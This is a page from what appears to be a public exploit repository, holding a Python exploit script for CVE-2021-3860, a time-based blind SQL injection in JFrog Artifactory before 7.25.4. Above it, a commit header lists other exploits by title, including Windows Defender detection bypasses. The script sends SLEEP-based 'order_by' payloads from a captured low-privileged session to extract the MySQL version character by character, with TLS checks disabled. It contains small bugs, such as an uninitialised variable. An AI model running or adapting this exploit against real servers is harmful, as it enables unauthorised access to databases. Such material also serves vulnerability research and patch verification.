ba28fce174
9 changes to exploits/shellcodes/ghdb SureMDM On-premise < 6.31 - CAPTCHA Bypass User Enumeration Wondercms 4.3.2 - XSS to RCE Employee Management System v1 - 'email' SQL Injection JFrog Artifactory < 7.25.4 - Blind SQL Injection phpFox < 4.8.13 - (redirect) PHP Object Injection Exploit XAMPP - Buffer Overflow POC Microsoft Windows Defender - VBScript Detection Bypass Microsoft Windows Defender Bypass - Detection Mitigation Bypass
49 lines
No EOL
2.1 KiB
Python
Executable file
49 lines
No EOL
2.1 KiB
Python
Executable file
# Exploit Title: artifactory low-privileged blind sql injection
|
|
# Google Dork:
|
|
# Date:
|
|
# Exploit Author: ardr
|
|
# Vendor Homepage:https://jfrog.com/help/r/jfrog-release-information/cve-2021-3860-artifactory-low-privileged-blind-sql-injection
|
|
# Software Link: https://jfrog.com/help/r/jfrog-release-information/cve-2021-3860-artifactory-low-privileged-blind-sql-injection
|
|
# Version: JFrog Artifactory prior to 7.25.4
|
|
# Tested on: MySQL
|
|
# CVE : CVE-2021-3860
|
|
|
|
import requests, string, time
|
|
from sys import stdout,exit
|
|
import warnings
|
|
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
|
|
|
# written by 75fc58fa86778461771d2ff7f68b28259e97ece9bf6cd8be227c70e6a6140314c97d3fdac30b290c6b10d3679c5ba890635a1ca6fa23c83481dfc1257cd062fd
|
|
# old script for CVE-2021-3860
|
|
# log into artifactory with any user. there must be populated data in the system. a fresh install will not work.
|
|
# you will need to be able to capture a valid request to the below endpoint in order to run this script.
|
|
# once captured, replace the cookies and headers below
|
|
|
|
|
|
warnings.simplefilter('ignore',InsecureRequestWarning)
|
|
|
|
|
|
session = requests.session()
|
|
base = input("Please enter the base url: ")
|
|
url = f"{base}/ui/api/v1/global-search/bundles/received?$no_spinner=true"
|
|
# headers = Replace this with captured headers from the above endpoint
|
|
pos = 1
|
|
# cookies = Replace this with captured cookies from the above endpoint
|
|
|
|
|
|
while True:
|
|
for i in string.digits + '.':
|
|
data={"after": "", "before": "", "direction": "asc", "name": "*", "num_of_rows": 100, "order_by": f"(select*from(select((CASE WHEN (MID(VERSION(),{pos},1) = '{i}') THEN SLEEP(5) ELSE 4616 END)))a)"}
|
|
start = time.time()
|
|
r = session.post(url, headers=headers, cookies=cookies, json=data, verify=False)
|
|
request_time = time.time() - start
|
|
if request_time > 5:
|
|
version += i
|
|
pos += 1
|
|
stdout.write(i)
|
|
stdout.flush()
|
|
break
|
|
if len(version) >= 6:
|
|
stdout.write("\n")
|
|
print(f"Version found: MySQL {version}")
|
|
exit(0) |